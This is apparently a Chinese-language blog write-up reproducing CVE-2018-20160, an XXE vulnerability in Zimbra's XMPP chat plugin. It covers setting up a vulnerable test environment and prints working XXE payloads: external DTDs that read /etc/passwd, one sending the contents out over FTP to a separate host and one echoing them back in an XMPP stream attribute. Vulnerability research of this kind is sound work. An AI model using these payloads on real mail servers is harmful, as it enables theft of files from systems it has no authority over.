Zimbra XMPP XXE 復現

前言

週末沒事,接着找CVE-2018-20160,XMPP的XXE

https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.9/P9

補丁上說XXE是zimbra-chat插件的漏洞,由於zimbra-chat插件是apt安裝,所以如果管理員沒事upgrade一下就修復了,而8.7.x的AutoDiscovers XXE是需要手工安裝補丁的,相對會多一些。

順便一說:其它XMPP協議估計搞法估計都差不多,大佬們有空可以多試試^_^

環境搭建

還是使用jorgedlcruz/zimbra這個docker作爲基礎,該docker使用8.7.11版本的安裝包,所以需要進行一點修改。

使用start.sh的內容創建配置,但是安裝使用該地址的安裝包:

https://files.zimbra.com/downloads/8.8.9_GA/zcs-8.8.9_GA_3019.UBUNTU16_64.20180809160254.tgz

解壓縮後需要刪除包中utils/globals.sh,刪除其中的zimbra-patch行,否則安裝時會安裝更新。

調用install.sh安裝時,不能使用8.7.11的輸入重定向。

由於zimbra-chat是apt安裝,會自動安裝最新版,所以最後還得給zimbra-chat插件降個級:

apt-get install zimbra-chat=2.0.1.1532356008-1.u16
su - zimbra
zmmailboxdctl restart 

新舊代碼對比:

新:

在這裏插入圖片描述

舊:

在這裏插入圖片描述

Zimbra-chat XMPP XXE

先看了半天Zimbra-chat代碼,發現看解析流程實在太費勁了就改看XMPP協議了。

代碼位置在/opt/zimbra/lib/openchat下面,有興趣的師傅可以多跟跟。

具體連接流程可以下載一個Gajim,看其中的XML控制檯。

在這裏插入圖片描述

說下個人理解:XMPP的協議基於XML,相當於C/S兩端拼湊XML,你寫一段我寫一段,解析過程使用流式XML解析。但是具體的DOCTYPE定義、實體引用是XML發起人所規定。(emm,這段不確定對,僅供參考。)由於大部分操作都得走認證,沒有賬號的情況下除了首次握手以外也沒啥好搞的了,下面說的都是基於首次握手做的。

流式XML解析的接口:

http://doc.codingdict.com/java_api/javax/xml/stream/XMLStreamReader.html

連接XMPP服務

openssl s_client -connect 192.168.252.139:5222 -starttls xmpp --debug

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://192.168.252.1/%payload;'>">
%param1;

發送報文(第一次握手報文):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtd233">
%remote;
%send;
]>
<stream:stream xmlns="jabber:client" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" to="zimbra.io" xml:lang="zh" >

結果只有一行:

在這裏插入圖片描述
如果讀localconfig.xml直接拋異常,就是原文作者說的ftp命令中的換行被java檢測的問題。

emm,作者原文裏提到了新版本的Java會拋掉多行命令,但是並不影響提到的幾個CVE= =,這個節奏不對啊?

繼續翻XMPP協議

經過查詢,發現除了client to server這樣的請求,還有server to server的:

https://xmpp.org/extensions/xep-0288.html

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

走握手包,如果to的服務不存在,會將to的內容回顯,也是在屬性中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root
[
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtdurl">
%remote;
%param1;
]>
	<stream:stream xmlns:stream='http://etherx.jabber.org/streams'
               xmlns='jabber:server' xmlns:db='jabber:server:dialback'
               to='&internal;' from='zimbra.io'
               xml:lang='en' version='1.0'>

結果:
在這裏插入圖片描述

思考(懶得搞了的)

由於上面的操作走了XML的屬性,所以是沒法讀帶<和&(實體定義除外)文件的(比如localconfig.xml之類的)。

接着由於starttls操作的握手還沒搞明白,所以登錄以後的利用還沒有搞。

但是看Gajim的數據流,starttls以後的stream還是由C端發起,可以設置Doctype,然後通過message發消息來讀取XML文件(這個可以在Tag中),這個就請各位師傅自行研究了(板凳西瓜準備)。

參考資料

https://www.cnblogs.com/backlion/p/9302528.html

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

https://staaldraad.github.io/2016/12/11/xxeftp/

https://gist.github.com/staaldraad/280f167f5cb49a80b4a3

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章